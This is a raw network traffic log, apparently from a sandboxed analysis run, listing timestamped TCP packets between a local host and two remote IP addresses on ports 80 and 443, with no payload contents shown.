Dec 9, 2024 21:09:17.807746887 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.807787895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.807846069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.807883024 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.808610916 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.808650970 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.808676004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.808707952 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.809511900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.809551001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.809623957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.809674978 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.810327053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.810368061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.810445070 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.810482979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.811218023 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.811258078 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.811283112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.811330080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.812074900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.812117100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.812144041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.812182903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.812957048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.812997103 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.813065052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.813103914 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.813834906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.813873053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.813950062 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.813992023 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.814702988 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.814745903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.814816952 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.814857960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.815551043 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.815593958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.815613031 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.815656900 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.816396952 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.816438913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.816521883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.816561937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.817281961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.817322016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.817385912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.817430973 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.818140030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.818183899 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.818226099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.818272114 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.819101095 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.819144011 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.819271088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.819309950 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.819884062 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.819925070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.819989920 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.820028067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.820795059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.820835114 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.820897102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.820938110 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.821630955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.821671009 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.821795940 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.821836948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.822509050 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.822549105 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.822770119 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.822808981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.823367119 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.823414087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.823474884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.823515892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.824347019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.824393034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.824419975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.824455976 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.825100899 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.825144053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.825211048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.825248003 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.825944901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.825990915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.894433022 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:17.894517899 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:17.895742893 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:17.895749092 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:17.895989895 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:17.897067070 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:17.897198915 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:17.897233009 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:17.972728968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.972822905 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.972873926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.972929001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.973140001 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.973186970 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.973257065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.973303080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.974174976 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.974220991 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.974381924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.974426985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.974986076 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.975035906 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.975157976 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.975208044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.975810051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.975862026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.975883007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.975928068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.976593018 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.976640940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.976676941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.976716995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.977562904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.977610111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.977637053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.977683067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.978377104 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.978424072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.978472948 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.978517056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.979211092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.979259968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.979330063 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.979379892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.980082989 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.980133057 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.980289936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.980336905 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.980967999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.981071949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.981101990 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.981112957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.981823921 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.981877089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.981888056 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.981930971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.982671022 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.982718945 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.982748985 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.982795000 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.983575106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.983623028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.983704090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.983751059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.984482050 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.984519005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.984529972 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.984556913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.985295057 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.985340118 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.985362053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.985403061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.986207962 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.986258984 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.986339092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.986382961 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.987041950 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.987088919 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.987152100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.987195969 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.987865925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.987914085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.987946987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.987992048 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.988770962 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.988817930 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.988887072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.988928080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.989626884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.989675999 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.989707947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.989753008 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.990583897 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.990629911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.990679979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.990722895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.991367102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.991413116 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.991568089 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.991611004 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.992214918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.992279053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.992305994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.992348909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.993088007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.993136883 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.993212938 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.993252993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.994030952 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.994071960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.994154930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.994200945 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.994843960 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.994884014 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.994888067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.994926929 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.995667934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.995712996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.995738983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.995784998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.996526003 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.996572018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.996654034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.996692896 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.997458935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.997509956 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.997519970 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.997565985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.998307943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.998353958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.998424053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.998471975 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.999211073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.999255896 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.999285936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.999335051 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.000097990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.000144958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.000206947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.000248909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.000963926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.001008987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.001019001 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.001055002 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.001806021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.001859903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.001914978 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.001959085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.002650023 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.002710104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.002768040 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.002818108 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.003521919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.003570080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.003587961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.003633976 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.004352093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.004400969 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.004429102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.004472971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.005255938 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.005301952 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.005402088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.005449057 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.006151915 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.006196976 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.006279945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.006325006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.007093906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.007144928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.007203102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.007239103 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.007910967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.007934093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.007955074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.007976055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.009637117 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.009681940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.009707928 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.009718895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.009759903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.009898901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.009943962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.010730982 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.010776997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.010802031 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.010849953 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.011320114 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.011368036 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.011369944 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.011413097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.012209892 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.012301922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.012357950 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.012398958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.013115883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.013175964 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.013251066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.013290882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.013936043 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.013982058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.014008999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.014049053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.014827013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.014877081 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.014959097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.015011072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.015702009 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.015753031 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.015768051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.015801907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.016547918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.016597033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.016676903 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.016726971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.017636061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.017678976 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.017786026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.017828941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.028415918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.028470039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.165107965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.165170908 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.165201902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.165210962 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.165245056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.165246964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.165267944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.165290117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.165630102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.165673971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.165704012 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.165749073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.166484118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.166533947 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.166541100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.166589022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.167423964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.167465925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.167546034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.167594910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.168232918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.168283939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.168319941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.168364048 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.169089079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.169137001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.169146061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.169190884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.170034885 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.170078993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.170110941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.170156956 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.170865059 CET	80	49874	31.41.244.11	192.168.2.6
